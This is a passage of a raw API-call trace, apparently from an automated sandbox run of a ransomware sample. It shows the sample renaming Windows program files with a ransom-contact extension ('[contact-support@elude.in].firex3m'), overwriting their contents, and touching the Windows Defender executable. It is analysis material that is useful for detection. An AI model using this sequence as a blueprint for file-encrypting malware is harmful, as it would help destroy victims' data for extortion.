cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0217.162] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0217.162] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0217.162] GetProcessHeap () returned 0x630000 [0217.162] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0217.163] GetProcessHeap () returned 0x630000 [0217.163] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0217.163] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.163] ReadFile (in: hFile=0x69c, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x3e3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0218.808] GetProcessHeap () returned 0x630000 [0218.808] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0218.808] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.808] WriteFile (in: hFile=0x69c, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x3e3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0218.809] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.809] WriteFile (in: hFile=0x69c, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.809] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.809] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.809] CloseHandle (hObject=0x69c) returned 1 [0218.809] GetProcessHeap () returned 0x630000 [0218.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0218.809] GetProcessHeap () returned 0x630000 [0218.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0218.809] GetProcessHeap () returned 0x630000 [0218.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0218.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x485f27fa, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0xccc7496, dwReserved1=0x6860c0, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0218.810] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0218.810] Sleep (dwMilliseconds=0x1) [0220.223] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x3e3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastreviewsettings.xml") returned 1 [0220.223] GetProcessHeap () returned 0x630000 [0220.223] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x507c) returned 0x6fe3bb0 [0220.223] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.224] CloseHandle (hObject=0x5ec) returned 1 [0220.224] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.224] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.225] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.225] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0220.225] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0220.225] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.226] GetProcessHeap () returned 0x630000 [0220.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa090 [0220.226] GetProcessHeap () returned 0x630000 [0220.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa268 [0220.226] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.226] ReadFile (in: hFile=0x5ec, lpBuffer=0x74aa090, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa090*, lpNumberOfBytesRead=0x3e3ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0220.228] GetProcessHeap () returned 0x630000 [0220.228] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0220.229] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.229] WriteFile (in: hFile=0x5ec, lpBuffer=0x74aa268*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa268*, lpNumberOfBytesWritten=0x3e3ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0220.229] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.229] WriteFile (in: hFile=0x5ec, lpBuffer=0x74aa407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa407*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.229] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.229] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.229] CloseHandle (hObject=0x5ec) returned 1 [0220.229] GetProcessHeap () returned 0x630000 [0220.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa268 | out: hHeap=0x630000) returned 1 [0220.229] GetProcessHeap () returned 0x630000 [0220.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa090 | out: hHeap=0x630000) returned 1 [0220.229] GetProcessHeap () returned 0x630000 [0220.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0220.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49381d0e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x3e3fd20, dwReserved1=0x74aa090, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0220.230] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0220.230] Sleep (dwMilliseconds=0x1) [0221.878] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\index.html", len=0x6f | out: pbstr=0x3e3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\index.html") returned 1 [0221.878] GetProcessHeap () returned 0x630000 [0221.878] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c0) returned 0x6fe3bb0 [0221.878] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0221.884] CloseHandle (hObject=0x4e4) returned 1 [0221.884] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.885] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.885] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xaa3b, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5400 [0221.886] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0221.886] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0221.886] GetProcessHeap () returned 0x630000 [0221.886] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaa41) returned 0x73c8410 [0221.886] GetProcessHeap () returned 0x630000 [0221.886] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaa41) returned 0x718a038 [0221.886] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.886] ReadFile (in: hFile=0x4e4, lpBuffer=0x73c8410, nNumberOfBytesToRead=0xaa20, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c8410*, lpNumberOfBytesRead=0x3e3ff0c*=0xaa20, lpOverlapped=0x0) returned 1 [0225.101] GetProcessHeap () returned 0x630000 [0225.101] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0225.101] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.101] WriteFile (in: hFile=0x4e4, lpBuffer=0x718a038*, nNumberOfBytesToWrite=0xaa20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718a038*, lpNumberOfBytesWritten=0x3e3ff0c*=0xaa20, lpOverlapped=0x0) returned 1 [0225.701] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.702] WriteFile (in: hFile=0x4e4, lpBuffer=0x7194a57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7194a57*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.720] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.720] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.721] CloseHandle (hObject=0x4e4) returned 1 [0225.721] GetProcessHeap () returned 0x630000 [0225.721] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718a038 | out: hHeap=0x630000) returned 1 [0225.721] GetProcessHeap () returned 0x630000 [0225.721] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c8410 | out: hHeap=0x630000) returned 1 [0225.721] GetProcessHeap () returned 0x630000 [0225.721] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0226.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.666] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c7cf597, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xaa5f, dwReserved0=0xccc7496, dwReserved1=0x73c8408, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5400 [0226.666] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0226.666] Sleep (dwMilliseconds=0x1) [0226.684] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\MpCmdRun.exe", len=0x2e | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Windows Defender\\MpCmdRun.exe") returned 1 [0226.684] GetProcessHeap () returned 0x630000 [0226.684] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51d0) returned 0x6fe3bb0 [0226.684] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MpCmdRun.exe" (normalized: "c:\\program files\\windows defender\\mpcmdrun.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.693] Sleep (dwMilliseconds=0x1) [0226.702] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x3e3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgradeth2.xml") returned 1 [0226.702] GetProcessHeap () returned 0x630000 [0226.702] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5170) returned 0x6fe3bb0 [0226.702] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0226.729] CloseHandle (hObject=0x678) returned 1 [0226.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.729] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.310] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f40 [0227.323] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0227.323] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0227.323] GetProcessHeap () returned 0x630000 [0227.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0227.323] GetProcessHeap () returned 0x630000 [0227.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0227.323] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.323] ReadFile (in: hFile=0x678, lpBuffer=0x6e2500, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesRead=0x3e3ff0c*=0x160, lpOverlapped=0x0) returned 1 [0227.325] GetProcessHeap () returned 0x630000 [0227.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176368 [0227.325] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.325] WriteFile (in: hFile=0x678, lpBuffer=0x6e2830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesWritten=0x3e3ff0c*=0x160, lpOverlapped=0x0) returned 1 [0227.326] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.326] WriteFile (in: hFile=0x678, lpBuffer=0x6e298f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e298f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.326] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.326] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 